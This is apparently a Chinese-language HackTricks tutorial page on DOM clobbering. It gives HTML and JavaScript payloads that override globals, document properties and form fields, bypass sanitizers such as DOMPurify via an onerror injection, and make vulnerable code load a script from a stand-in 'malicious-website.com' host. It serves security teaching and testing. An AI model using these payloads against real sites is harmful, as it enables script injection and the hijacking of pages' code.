Dom Clobbering
Reading time: 11 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基础
在HTML标签中,可以使用属性 id
和 name
在JS上下文中生成 全局变量。
<form id="x"></form>
<script>
console.log(typeof document.x) //[object HTMLFormElement]
</script>
只有某些元素可以使用name属性来覆盖全局变量,它们是:embed
、form
、iframe
、image
、img
和object
。
有趣的是,当你使用form元素来覆盖一个变量时,你将得到该元素本身的**toString
值:[object HTMLFormElement]
,但使用anchor时,toString
将是锚点的href
。因此,如果你使用a
标签进行覆盖,你可以控制当它被视为字符串时的值**:
<a href="controlled string" id="x"></a>
<script>
console.log(x) //controlled string
</script>
数组与属性
也可以覆盖数组和对象属性:
<a id="x">
<a id="x" name="y" href="controlled">
<script>
console.log(x[1]) //controlled
console.log(x.y) //controlled
</script></a
></a
>
要覆盖 第三个属性 (例如 x.y.z),您需要使用 form
:
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value) //controlled
</script>
使用 iframes 来覆盖更多属性是 更复杂但仍然可能 的:
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y) //controlled
</script>
warning
style标签用于给iframe足够的渲染时间。没有它,你会发现一个未定义的警告。
要更深入地覆盖属性,可以使用带有HTML编码的iframes,方法如下:
<iframe
name="a"
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(a.b.c.d.e) //controlled
</script>
过滤器绕过
如果一个过滤器正在使用类似 document.getElementByID('x').attributes
的方式循环遍历一个节点的属性,你可以覆盖属性**.attributes
并破坏过滤器**。其他 DOM 属性如 tagName
、nodeName
或 parentNode
等也可以被覆盖。
<form id="x"></form>
<form id="y">
<input name="nodeName" />
</form>
<script>
console.log(document.getElementById("x").nodeName) //FORM
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
</script>
覆盖 window.someObject
在JavaScript中,常常会发现:
var someObject = window.someObject || {}
在页面上操纵 HTML 允许用 DOM 节点覆盖 someObject
,这可能引入安全漏洞。例如,您可以用指向恶意脚本的锚元素替换 someObject
:
<a id=someObject href=//malicious-website.com/malicious.js></a>
在一个易受攻击的代码中,例如:
<script>
window.onload = function () {
let someObject = window.someObject || {}
let script = document.createElement("script")
script.src = someObject.url
document.body.appendChild(script)
}
</script>
此方法利用脚本源执行不必要的代码。
技巧:DOMPurify
允许您使用 cid:
协议,该协议 不对双引号进行 URL 编码。这意味着您可以 注入一个在运行时会被解码的编码双引号。因此,注入类似 <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
的内容将使 HTML 编码的 "
在 运行时被解码 并 逃逸 出属性值以 创建 onerror
事件。
另一种技术使用 form
元素。某些客户端库检查新创建的表单元素的属性以进行清理。然而,通过在表单内添加一个 input
,其 id=attributes
,您有效地覆盖了属性属性,阻止了清理器访问实际属性。
您可以 在此 CTF 写作中找到此类覆盖的示例。
覆盖文档对象
根据文档,可以使用 DOM Clobbering 覆盖文档对象的属性:
Document 接口 支持命名属性。任何时刻 Document 对象的 支持的属性名称 由以下内容组成,按照 树顺序 根据贡献它们的元素,忽略后来的重复,并且当同一元素同时贡献两者时,来自 id 属性的值在来自名称属性的值之前:
- 所有具有非空名称内容属性并且在以文档为其 根 的 文档树 中的所有 exposed embed、form、iframe、img 和 exposed object 元素的名称内容属性的值;
- 所有具有非空 id 内容属性并且在以文档为其 根 的 文档树 中的所有 exposed object 元素的 id 内容属性的值;
- 所有同时具有非空 id 内容属性和非空名称内容属性,并且在以文档为其 根 的 文档树 中的所有 img 元素的 id 内容属性的值。
使用此技术,您可以覆盖常用的 值,例如 document.cookie
、document.body
、document.children
,甚至文档接口中的方法,如 document.querySelector
。
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
在被覆盖的元素后写入
通过注入具有相同 id 属性的 <html>
或 <body>
标签,可以更改对 document.getElementById()
和 document.querySelector()
的调用结果。以下是实现方法:
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">
clobbered
</html>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
alert(document.querySelector(".x").innerText) // Clobbered
</script>
</p>
此外,通过使用样式隐藏这些注入的 HTML/body 标签,可以防止 innerText
中其他文本的干扰,从而增强攻击的有效性:
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
clobbered
</html>
<style>
p {
display: none;
}
</style>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
对SVG的调查显示,<body>
标签也可以有效地利用:
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<body id="cdnDomain">
clobbered
</body>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
为了使 HTML 标签在 Chrome 和 Firefox 等浏览器中的 SVG 中正常工作,必须使用 <foreignobject>
标签:
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">
clobbered
</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
Clobbering Forms
只需在某些标签中指定 form
属性,就可以在表单中添加 新条目。您可以利用这一点在表单中 添加新值,甚至添加一个新的 按钮 来 发送它(点击劫持或滥用某些 .click()
JS 代码):
<!--Add a new attribute and a new button to send-->
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
- 有关更多表单属性,请查看按钮检查此处。
参考文献
- https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering
- https://portswigger.net/web-security/dom-based/dom-clobbering
- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。